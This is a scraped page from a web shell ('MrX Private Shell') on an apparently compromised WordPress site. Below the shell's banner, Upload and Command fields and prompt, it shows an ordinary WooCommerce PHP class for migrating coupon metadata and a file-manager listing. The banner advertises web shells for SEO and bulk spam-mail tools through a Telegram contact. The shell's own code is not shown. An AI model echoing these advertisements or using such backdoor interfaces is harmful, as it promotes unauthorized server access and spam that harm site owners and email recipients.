__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

[email protected]: ~ $
<?php

namespace Automattic\WooCommerce\Internal;

use Automattic\WooCommerce\Internal\BatchProcessing\BatchProcessingController;
use Automattic\WooCommerce\Internal\BatchProcessing\BatchProcessorInterface;
use Automattic\WooCommerce\Utilities\StringUtil;
use \Exception;

/**
 * This class is intended to be used with BatchProcessingController and converts verbose
 * 'coupon_data' metadata entries in coupon line items (corresponding to coupons applied to orders)
 * into simplified 'coupon_info' entries. See WC_Coupon::get_short_info.
 *
 * Additionally, this class manages the "Convert order coupon data" tool.
 */
class OrderCouponDataMigrator implements BatchProcessorInterface, RegisterHooksInterface {

	/**
	 * Register hooks for the class.
	 */
	public function register() {
		add_filter( 'woocommerce_debug_tools', array( $this, 'handle_woocommerce_debug_tools' ), 999, 1 );
	}

	/**
	 * Get a user-friendly name for this processor.
	 *
	 * @return string Name of the processor.
	 */
	public function get_name(): string {
		return "Coupon line item 'coupon_data' to 'coupon_info' metadata migrator";
	}

	/**
	 * Get a user-friendly description for this processor.
	 *
	 * @return string Description of what this processor does.
	 */
	public function get_description(): string {
		return "Migrates verbose metadata about coupons applied to an order ('coupon_data' metadata key in coupon line items) to simplified metadata ('coupon_info' keys)";
	}

	/**
	 * Get the total number of pending items that require processing.
	 *
	 * @return int Number of items pending processing.
	 */
	public function get_total_pending_count(): int {
		global $wpdb;

		return $wpdb->get_var(
			$wpdb->prepare(
				"SELECT COUNT(*) FROM {$wpdb->prefix}woocommerce_order_itemmeta WHERE meta_key=%s",
				'coupon_data'
			)
		);
	}

	/**
	 * Returns the next batch of items that need to be processed.
	 * A batch in this context is a list of 'meta_id' values from the wp_woocommerce_order_itemmeta table.
	 *
	 * @param int $size Maximum size of the batch to be returned.
	 *
	 * @return array Batch of items to process, containing $size or less items.
	 */
	public function get_next_batch_to_process( int $size ): array {
		global $wpdb;

		$meta_ids = $wpdb->get_col(
			$wpdb->prepare(
				"SELECT meta_id FROM {$wpdb->prefix}woocommerce_order_itemmeta WHERE meta_key=%s ORDER BY meta_id ASC LIMIT %d",
				'coupon_data',
				$size
			)
		);

		return array_map( 'absint', $meta_ids );
	}

	/**
	 * Process data for the supplied batch. See the convert_item method.
	 *
	 * @throw \Exception Something went wrong while processing the batch.
	 *
	 * @param array $batch Batch to process, as returned by 'get_next_batch_to_process'.
	 */
	public function process_batch( array $batch ): void {
		global $wpdb;

		if ( empty( $batch ) ) {
			return;
		}

		$meta_ids = StringUtil::to_sql_list( $batch );

		$meta_ids_and_values = $wpdb->get_results(
			//phpcs:ignore WordPress.DB.PreparedSQL.InterpolatedNotPrepared
			"SELECT meta_id,meta_value FROM {$wpdb->prefix}woocommerce_order_itemmeta WHERE meta_id IN $meta_ids",
			ARRAY_N
		);

		foreach ( $meta_ids_and_values as $meta_id_and_value ) {
			try {
				$this->convert_item( (int) $meta_id_and_value[0], $meta_id_and_value[1] );
			} catch ( Exception $ex ) {
				wc_get_logger()->error( StringUtil::class_name_without_namespace( self::class ) . ": when converting meta row with id {$meta_id_and_value[0]}: {$ex->getMessage()}" );
			}
		}
	}

	/**
	 * Convert one verbose 'coupon_data' entry into a simplified 'coupon_info' entry.
	 *
	 * The existing database row is updated in place, both the 'meta_key' and the 'meta_value' columns.
	 *
	 * @param int    $meta_id Value of 'meta_id' of the row being converted.
	 * @param string $meta_value Value of 'meta_value' of the row being converted.
	 * @throws Exception Database error.
	 */
	private function convert_item( int $meta_id, string $meta_value ) {
		global $wpdb;

		//phpcs:ignore WordPress.PHP.DiscouragedPHPFunctions.serialize_unserialize
		$coupon_data = unserialize( $meta_value );

		$temp_coupon = new \WC_Coupon();
		$temp_coupon->set_props( $coupon_data );

		//phpcs:disable WordPress.DB.SlowDBQuery
		$wpdb->update(
			"{$wpdb->prefix}woocommerce_order_itemmeta",
			array(
				'meta_key'   => 'coupon_info',
				'meta_value' => $temp_coupon->get_short_info(),
			),
			array( 'meta_id' => $meta_id )
		);
		//phpcs:enable WordPress.DB.SlowDBQuery

		if ( $wpdb->last_error ) {
			throw new Exception( $wpdb->last_error );
		}
	}

	/**
	 * Default (preferred) batch size to pass to 'get_next_batch_to_process'.
	 *
	 * @return int Default batch size.
	 */
	public function get_default_batch_size(): int {
		return 1000;
	}

	/**
	 * Add the tool to start or stop the background process that converts order coupon metadata entries.
	 *
	 * @param array $tools Old tools array.
	 * @return array Updated tools array.
	 *
	 * @internal For exclusive usage of WooCommerce core, backwards compatibility not guaranteed.
	 */
	public function handle_woocommerce_debug_tools( array $tools ): array {
		$batch_processor = wc_get_container()->get( BatchProcessingController::class );
		$pending_count   = $this->get_total_pending_count();

		if ( 0 === $pending_count ) {
			$tools['start_convert_order_coupon_data'] = array(
				'name'     => __( 'Start converting order coupon data to the simplified format', 'woocommerce' ),
				'button'   => __( 'Start converting', 'woocommerce' ),
				'disabled' => true,
				'desc'     => __( 'This will convert <code>coupon_data</code> order item meta entries to simplified <code>coupon_info</code> entries. The conversion will happen overtime in the background (via Action Scheduler). There are currently no entries to convert.', 'woocommerce' ),
			);
		} elseif ( $batch_processor->is_enqueued( self::class ) ) {
			$tools['stop_convert_order_coupon_data'] = array(
				'name'     => __( 'Stop converting order coupon data to the simplified format', 'woocommerce' ),
				'button'   => __( 'Stop converting', 'woocommerce' ),
				'desc'     =>
					/* translators: %d=count of entries pending conversion */
					sprintf( __( 'This will stop the background process that converts <code>coupon_data</code> order item meta entries to simplified <code>coupon_info</code> entries. There are currently %d entries that can be converted.', 'woocommerce' ), $pending_count ),
				'callback' => array( $this, 'dequeue' ),
			);
		} else {
			$tools['start_converting_order_coupon_data'] = array(
				'name'     => __( 'Convert order coupon data to the simplified format', 'woocommerce' ),
				'button'   => __( 'Start converting', 'woocommerce' ),
				'desc'     =>
					/* translators: %d=count of entries pending conversion */
					sprintf( __( 'This will convert <code>coupon_data</code> order item meta entries to simplified <code>coupon_info</code> entries. The conversion will happen overtime in the background (via Action Scheduler). There are currently %d entries that can be converted.', 'woocommerce' ), $pending_count ),
				'callback' => array( $this, 'enqueue' ),
			);
		}

		return $tools;
	}

	/**
	 * Start the background process for coupon data conversion.
	 *
	 * @return string Informative string to show after the tool is triggered in UI.
	 *
	 * @internal For exclusive usage of WooCommerce core, backwards compatibility not guaranteed.
	 */
	public function enqueue(): string {
		$batch_processor = wc_get_container()->get( BatchProcessingController::class );
		if ( $batch_processor->is_enqueued( self::class ) ) {
			return __( 'Background process for coupon meta conversion already started, nothing done.', 'woocommerce' );
		}

		$batch_processor->enqueue_processor( self::class );
		return __( 'Background process for coupon meta conversion started', 'woocommerce' );
	}

	/**
	 * Stop the background process for coupon data conversion.
	 *
	 * @return string Informative string to show after the tool is triggered in UI.
	 *
	 * @internal For exclusive usage of WooCommerce core, backwards compatibility not guaranteed.
	 */
	public function dequeue(): string {
		$batch_processor = wc_get_container()->get( BatchProcessingController::class );
		if ( ! $batch_processor->is_enqueued( self::class ) ) {
			return __( 'Background process for coupon meta conversion not started, nothing done.', 'woocommerce' );
		}

		$batch_processor->remove_processor( self::class );
		return __( 'Background process for coupon meta conversion stopped', 'woocommerce' );
	}
}

Filemanager

Name Type Size Permission Actions
Abilities Folder 0775
AbilitiesApi Folder 0775
AddressProvider Folder 0775
Admin Folder 0775
Agentic Folder 0775
BatchProcessing Folder 0775
CLI Folder 0775
Caches Folder 0775
ComingSoon Folder 0775
CostOfGoodsSold Folder 0775
Customers Folder 0775
DataStores Folder 0775
DependencyManagement Folder 0775
Email Folder 0775
EmailEditor Folder 0775
Features Folder 0775
Font Folder 0775
Fulfillments Folder 0775
Integrations Folder 0775
Logging Folder 0775
MCP Folder 0775
Orders Folder 0775
ProductAttributesLookup Folder 0775
ProductDownloads Folder 0775
ProductFilters Folder 0775
ProductImage Folder 0775
PushNotifications Folder 0775
ReceiptRendering Folder 0775
RestApi Folder 0775
Settings Folder 0775
StockNotifications Folder 0775
Traits Folder 0775
TransientFiles Folder 0775
Utilities Folder 0775
WCCom Folder 0775
AssignDefaultCategory.php File 1.95 KB 0664
Brands.php File 1.27 KB 0664
DownloadPermissionsAdjuster.php File 6.52 KB 0664
McStats.php File 2.1 KB 0664
OrderCouponDataMigrator.php File 8.33 KB 0664
RegisterHooksInterface.php File 504 B 0664
RestApiControllerBase.php File 8.01 KB 0664
RestApiParameterUtil.php File 5.72 KB 0664
RestockRefundedItemsAdjuster.php File 2.08 KB 0664
Filemanager